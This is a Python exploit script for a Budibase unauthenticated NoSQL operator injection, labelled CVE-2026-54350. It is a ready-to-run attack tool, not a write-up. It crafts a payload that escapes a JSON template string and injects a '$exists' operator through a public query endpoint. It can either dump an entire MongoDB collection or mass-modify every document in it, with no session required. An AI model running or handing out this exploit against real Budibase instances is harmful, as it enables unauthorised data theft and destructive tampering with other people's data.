#!/usr/bin/env python3
"""
CVE-2026-54350 - Budibase unauthenticated NoSQL operator injection
Read (dump entire collection) / Write (mass-modify entire collection) via a
PUBLIC query, with no session, using only the public x-budibase-app-id header.

Author: Caio Fabricio (BiiTts)
"""
import argparse
import json
import sys
import urllib.request
import urllib.error


def execute(base, app_id, query_id, parameters, timeout=20):
    url = f"{base.rstrip('/')}/api/v2/queries/{query_id}"
    data = json.dumps({"parameters": parameters}).encode()
    req = urllib.request.Request(
        url, data=data, method="POST",
        headers={
            "Content-Type": "application/json",
            "x-budibase-app-id": app_id,
        },
    )
    try:
        with urllib.request.urlopen(req, timeout=timeout) as resp:
            return resp.status, resp.read().decode()
    except urllib.error.HTTPError as e:
        return e.code, e.read().decode()


def build_injection(field):
    """
    The query's JSON body embeds the parameter inside a string value, e.g.
        {"...":"...","<field>":"{{ <param> }}", ...}
    On affected builds the value is interpolated WITHOUT JSON escaping, so a
    closing quote lets us inject sibling keys. Repeating <field> as an operator
    object wins the duplicate-key JSON.parse; $comment absorbs the template's
    trailing quote and is an inert MongoDB meta-operator.
        <field> = { "$exists": true }   -> matches every document
    """
    return f'zzz","{field}":{{"$exists":true}},"$comment":"cve-2026-54350'


def main():
    ap = argparse.ArgumentParser(
        description="CVE-2026-54350 Budibase unauthenticated NoSQL operator injection")
    ap.add_argument("--url", required=True, help="Base URL, e.g. http://target")
    ap.add_argument("--app-id", required=True,
                    help="Published app id (app_...), public from the app URL")
    ap.add_argument("--query-id", required=True,
                    help="Target PUBLIC query id (query_...), seen in the app's API traffic")
    ap.add_argument("--param", default="name",
                    help="Name of the query parameter to inject (default: name)")
    ap.add_argument("--field", default=None,
                    help="JSON key the parameter is bound to (default: same as --param)")
    ap.add_argument("--mode", choices=["read", "write"], default="read",
                    help="read = dump collection; write = mass-modify (updateMany query)")
    ap.add_argument("--raw", action="store_true", help="Print raw HTTP response body")
    args = ap.parse_args()

    field = args.field or args.param
    injection = build_injection(field)

    status, body = execute(args.url, args.app_id, args.query_id, {args.param: injection})

    if args.raw:
        print(f"[HTTP {status}]")
        print(body)
        return

    if status == 401:
        print("[-] 401 - query is not PUBLIC (or app id wrong). Not exploitable here.")
        sys.exit(2)
    if status != 200:
        print(f"[-] HTTP {status}: {body[:300]}")
        sys.exit(1)

    try:
        parsed = json.loads(body)
        data = parsed.get("data", parsed) if isinstance(parsed, dict) else parsed
    except json.JSONDecodeError:
        print("[-] Non-JSON response:")
        print(body[:500])
        sys.exit(1)

    if args.mode == "read":
        rows = data if isinstance(data, list) else []
        print(f"[+] Dumped {len(rows)} document(s) unauthenticated:\n")
        print(json.dumps(rows, indent=2, default=str))
    else:
        print("[+] Mass-write result (updateMany widened to whole collection):\n")
        print(json.dumps(data, indent=2, default=str))


if __name__ == "__main__":
    main()